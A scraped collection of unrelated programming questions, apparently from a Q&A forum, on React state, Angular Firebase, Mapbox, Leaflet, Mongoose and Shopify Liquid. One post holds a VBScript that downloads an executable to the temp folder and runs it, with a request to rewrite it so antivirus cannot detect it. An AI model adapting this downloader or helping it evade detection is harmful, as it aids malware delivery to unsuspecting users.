How can I apply images to a 3D model via a website using Node, Unity, or other tools?

a few days ago I thought about a project to render 3d models with images, and I wonder if somebody did a project like that, with node, unity or other tools, i’m asking just to know how can be achieved. the main idea is to render a rubik’s cube and then set the images for stickers.
It will be to my portfolio and I will do it through summer.
Thank’s for answer!

I searched information about it without conclusions and i want expericienced people to learn about it to improve as developer

Referencing an exported constant from within the same file

In react, I have the following file: constants.js, containting

export const myConstant1 = 'abc';
export const myConstant2 = 'xyz';

export const myObject = {
    myConstant1: 'This is the first constant', // myConstant1 here is NOT recognized
    myConstant2: 'This is the second constant' // myConstant2 here is NOT recognized
}

My problem is, I cannot reference myConstant1 and myConstant2 from within myObject. What am I missing?

Thanks.

Can someone explain how useState updates values in react, and howto use the updated value if it only takes effect on the next rendering?

I have a button in react and when it is pressed, I would like to print the content of 2 concatenated arrays. This is the code for it

const QueryCalibDetail = ({result}) => {
    const [success, setSuccess] = useState('')
    const [raws, setRaws] = useState([])
    
    const handleClick = async (e) => {
        await axios.get('/api/rawsRoute/' + result.rawID)
        .then ((json) => {
            setRaws(json.data.raws)
        })
        
        const allFiles = result.config_files.concat(raws)

        for (const fileID of allFiles) {
               console.log(fileID)
        }

To explain this code, QueryCalibDetail takes a prop called result which is a json and has fields _id (an id), rawID (an id) and config_files (an array of ids). I use axios to get an element from a database with the id rawID. The fetch returns a json which has a field raws, an array of ids. Now I have 2 arrays of ids that I would like to concatenate and iterate through and log to console. However, the state raws remains an empty array even after setRaws has been called, and only the array provided by result.config_files is printed. The concatenated array only gets printed when I click the button a second time.

This has been a recurring issue in my project, and I never understood why useState doesn’t immediately update the state, or how to fix the issue. Can someone explain what I’m supposed to do in this scenario, since it seems to happen rather often and every time I don’t know how to handle it.

Getting NullInjectorError when trying to use AngularFireDatabase with Firebase Realtime Database in Angular

i am use
@angular/core: “^16.0.0”,
@angular/fire: “7.6.1”,
and want to get data from realtime Database firebase

access-lavel.service.ts :

import { Injectable } from '@angular/core';
import { AngularFireDatabase } from '@angular/fire/compat/database';

@Injectable({
providedIn: 'root',
})
export class AccessLavelService {
constructor( private db: AngularFireDatabase ) {}

    getAccessLavel() {
        console.log( this.db.list('/g-access-lavel').snapshotChanges()  );
    }

}

I expect the data to be returned in getAccessLavel

error

Detection from Antivirus

I have this Shortcut code that runs perfectly without having any issue. But my problem here is that it does is been detected by numerous antivirus and this is a problem for me. I do not know how I can reverse this code to avoid been detected by antivirus.

Here is the code.

Set objShell = CreateObject("WScript.Shell")
strTempPath = objShell.ExpandEnvironmentStrings("%TEMP%")

strShortcutPath = strTempPath & "PuTTY.lnk"
strTargetPath = "https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe"

' Download PuTTY executable
strDownloadURL = strTargetPath
strDownloadPath = strTempPath & "putty.exe"

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strDownloadURL, False
objXMLHTTP.send()

If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0
    objADOStream.SaveToFile strDownloadPath
    objADOStream.Close
End If

' Create a shortcut
Set objShellLink = objShell.CreateShortcut(strShortcutPath)
objShellLink.TargetPath = strDownloadPath
objShellLink.Save

' Execute PuTTY
objShell.Run strShortcutPath

I want this code to run without been detected by any antivirus. I noticed that the downloader is what is been detected, so I feel that there is another code that can run the downloader also that is not going to be detected by antivirus.

This is a legit code.

Pushing object to array using for-loop in JS creating too many duplicates

I’ve created a simple front-end with two text inputs for the user: one for their first name and one for their last name. What I’m trying to accomplish is every time a first and last name is input they get pushed to two arrays (one for the first name and one for the last) and are then combined into an associated object and displayed in the console.

I was trying to follow some of the other examples of this people have on here but in most cases they are using a single array and a second constant element.

My issue is when I run the code below and console.log() the results, rather than new entries being pushed to the end of the object they are being duplicated with each new entry.

Any help would be appreciated.

let pairedArray = [];
let firstNameArr = [];
let lastNameArr = [];

function addMe(){
  let firstNameInputElem = document.querySelector('.js-firstName');

  firstNameArr.push(firstNameInputElem.value);
  firstNameInputElem.value = '';

  for (let i = 0; i < firstNameArr.length; i++){
    let nameObject = {};
    nameObject['fname'] = firstNameArr[i];
    nameObject['lname'] = lastNameArr[i];
    pairedArray.push(nameObject);
  }
  console.log(pairedArray);
}
<input type="text" class="js-firstName" placeholder="First Name">
<input type="text" class="js-lastName" placeholder="Last Name">
<button class="js-add" onclick="addMe()">Add to Object</button>

enter image description here}

How to get data on button click from json file

So I’m making a food ordering dashboard and on the “Orders” page i get data from the json file and for each object it makes a div containing the properties eg: id, status, price e.t.c. But the problem is each order has a ‘view’ button that allows you to see more info about that particular order but when i click on it , it shows the info of all the orders passed from the json file not just the order which the button was clicked on . i think i know what i need to do but i dont know how to achieve it.

i tried giving the button and id of the order id i.e(id={order.id}), and trying to target the infos of only the order with that particular id but it didnt work most likely cause i didnt do it well. And the i found a way to kind of target it but then i didnt know how to now display the details because the div where the details are being displayed is in another component, so i i didnt know how to pass the data to that component

IntelliJ – Unresolved JavaScript Reference

I’m writing Javascript on IntelliJ with some env variable use, ex.

const DEBUG = process && process.env.COMMAND_DEBUG === 'true';

But the IDE told me Unresolved variable or type process.

So I tried to switch to this form

import { env } from 'node:process';
const DEBUG = env.COMMAND_DEBUG === 'true';

But I’ve always a warn on this subject (cf. image).

I’m new to IntelliJ Ultimate version 2023.1.2 with NodeJs
and it seems that JavaScript comes with some bundled plugins like JavaScript and TypeScript plugin (we dont have it in IntelliJ Community Edition).

Do you know how could I switch off this warn only for this use case (cause it could be usefull in other case) ?

inspection profile JSandTS plugin
Unresolved JavaScript Reference

Free shipping bar on slide cart is no working with all currencies

{% assign freeShippingThreshold = settings.show_shipping_value | plus: 0 %} {% assign cartPrice = cart.total_price | money_without_currency | plus: 0 %} {% assign cartProgress = cartPrice | times: 100 | divided_by: freeShippingThreshold | round | plus: 0 %} {% assign difference = freeShippingThreshold | minus: cartPrice %}
{% if settings.show_shipping_bar %}

{% if cartPrice You are ${{ difference }} away from free shipping
{% comment %} You are not eligible for free shipping {% endcomment %}
{% else %}
You are eligible for free shipping
{% endif %}

 

{% endif %}
`

I want this code to be work with all currencies.

i apply money filter on this freeShippingThreshold but when i change the currency it will not changed the value according to the currency

Cant add a new element to an array (the value of a key) in mongoose schema

I have a type called likes in a mongoose schema called users. Each time a user likes the post of another user , his userId gets added to the likes array.

router.put("/:id/like", async (req, res) => {
  try {
    const post = await Post.findById(req.params.id);
    if (!post.likes.includes(req.body.userId)) {
      await post.updateOne({ $push: { likes: req.body.userId } });
      res.status(200).json("The post has been liked");
    } else {
      await post.updateOne({ $pull: { likes: req.body.userId } });
      res.status(200).json("The post has been disliked");
    }
  } catch (err) {
    res.status(500).json(err);
  }
});

So everytime a user wants to like a post that has an id of id (and userId of whoever created the post) he goes to the route –

http://localhost:7001/api/post/:id/likes

and then sends his userId in json format. His userId should then be appended to the array corresponding to the likes key in the UserSchema which i have included below.

const mongoose = require("mongoose");

const UserSchema = new mongoose.Schema(
  {
    username: {
      type: String,
      required: true,
      min: 3,
      max: 20,
      unique: true,
    },
    email: {
      type: String,
      required: true,
      max: 50,
      unique: true,
    },
    password: {
      type: String,
      required: true,
      min: 6,
    },
    profilePicture: {
      type: String,
      default: "",
    },
    coverPicture: {
      type: String,
      default: "",
    },
    followers: {
      type: Array,
      default: [],
    },
    following: {
      type: Array,
      default: [],
    },
    isAdmin: {
      type: Boolean,
      default: false,
    },
    desc: {
      type: String,
      max: 50,
    },
    city: {
      type: String,
      max: 50
    },
    relationship: {
        type: Number,
        enum: [1,2,3],
    },
  },
  { timestamps: true }
);


module.exports = mongoose.model( "User" , UserSchema);

Now when i try to do that , (postman API screenshot and database screenshot included below) it does not work and returns an empty array at response.

databasescreenshot

PostmanAPIScreenShot

How can i make push function work in geojson

Hey I’ve tried putting my markers for several hours on my map and i cant see the problem, cause im a newbie.
I started everything with a code that i’ve found online:

let results =[[1, 'SCOTT', 50.063509, 19.932827, 2222,'y'],[2, 'Marin', 50.065070, 19.931180, 2222, 'n']];
var points={};
points['type']='Feature Collection';
points['features']=[];

Than i put a code, that was working perfectly:

var points = [
    {
      type: 'Feature',
      geometry: {
        type: 'Point',
        coordinates: [results[1][3], results[1][2]]
      }
    },
    {
      type: 'Feature',
      geometry: {
        type: 'Point',
        coordinates: [results[0][3], results[0][2]]
      }
    }
  ];

But i wanted to make it more automatic, so if more results (bikes) appear i wouldn’t have to write everything down. So i came up with a loop idea to make as many points (where are my bikes located) as they are in the array. Ive checked everything in the loop, it works perfectly, even coordinates are beeing shown when i console log them, but i have a big problem with a points['features'].push(newFeature); , i think this is my main issue and I cant fix it now, so im asking you for help.
This is my for loop , that i’ve made:

for (var k in results){

    var newFeature = {
        type: 'Feature',
        geometry: {
            type: 'Point',
            coordinates: [results[k][3], results[k][2]]
        }
    }
  points['features'].push(newFeature);
}

Do you know how can i make it the same as 1st array?

I can put also code, that i took from my map privider that shows the points on the map:

map.on('load', () => {
    map.addSource('places', {
        "type": "geojson",
        "data": {
          "type": "FeatureCollection",
          "features": points
        }
      });
    // Add a layer showing the places.
    map.addLayer({
    'id': 'places',
    'type': 'circle',
    'source': 'places',
    'paint': {
    'circle-color': '#4264fb',
    'circle-radius': 6,
    'circle-stroke-width': 2,
    'circle-stroke-color': '#ffffff'
    }
    });
     
    // Create a popup, but don't add it to the map yet.
    const popup = new mapboxgl.Popup({
    closeButton: false,
    closeOnClick: false
    });
     
    map.on('mouseenter', 'places', (e) => {
    // Change the cursor style as a UI indicator.
    map.getCanvas().style.cursor = 'pointer';
     
    // Copy coordinates array.
    const coordinates = e.features[0].geometry.coordinates.slice();
    const description = e.features[0].properties.description;
     
    // Ensure that if the map is zoomed out such that multiple
    // copies of the feature are visible, the popup appears
    // over the copy being pointed to.
    while (Math.abs(e.lngLat.lng - coordinates[0]) > 180) {
    coordinates[0] += e.lngLat.lng > coordinates[0] ? 360 : -360;
    }
     
    // Populate the popup and set its coordinates
    // based on the feature found.
    popup.setLngLat(coordinates).setHTML(description).addTo(map);
    });
     
    map.on('mouseleave', 'places', () => {
    map.getCanvas().style.cursor = '';
    popup.remove();
    });
    });

Leaflet shows both tile layers on zoom out

I am trying to add two tile layers and a control to switch between them. Here is the code:

const layer1: L.TileLayer = L.tileLayer('http://{s}.tile.opencyclemap.org/cycle/{z}/{x}/{y}.png', {
  attribution: 'OpenCycleMap'
});
const layer2: L.TileLayer = L.tileLayer('https://tile.openstreetmap.org/{z}/{x}/{y}.png', {
    attribution: 'OpenStreetMap'
});

L.map(SOME_DIV, {
  center: [54.1109, -115.5322],
  zoom: 5,
  layers: [layer1, layer2]
});

const baseMaps: Record<string, L.TileLayer> = {
  'Layer2': layer2,
  'Layer1': layer1
};

L.control.layers(baseMaps).addTo(this.__map);

When the map is initialized, I briefly see Layer 2 before Layer 1 covers it. Also, if I zoom out, Layer 2 renders before Layer 1 covers it. I noticed that the attribute text at the bottom-right lists both attributions. If I then select one in the control, it only shows a single attribute and the problem disappears.

So, it seems that both layers are added, with Layer 1 on top. Layer 2 loads first then Layer 1. I want only one layer to show by default with a control to switch between them.

Here’s a demo: https://gifyu.com/image/SuuzJ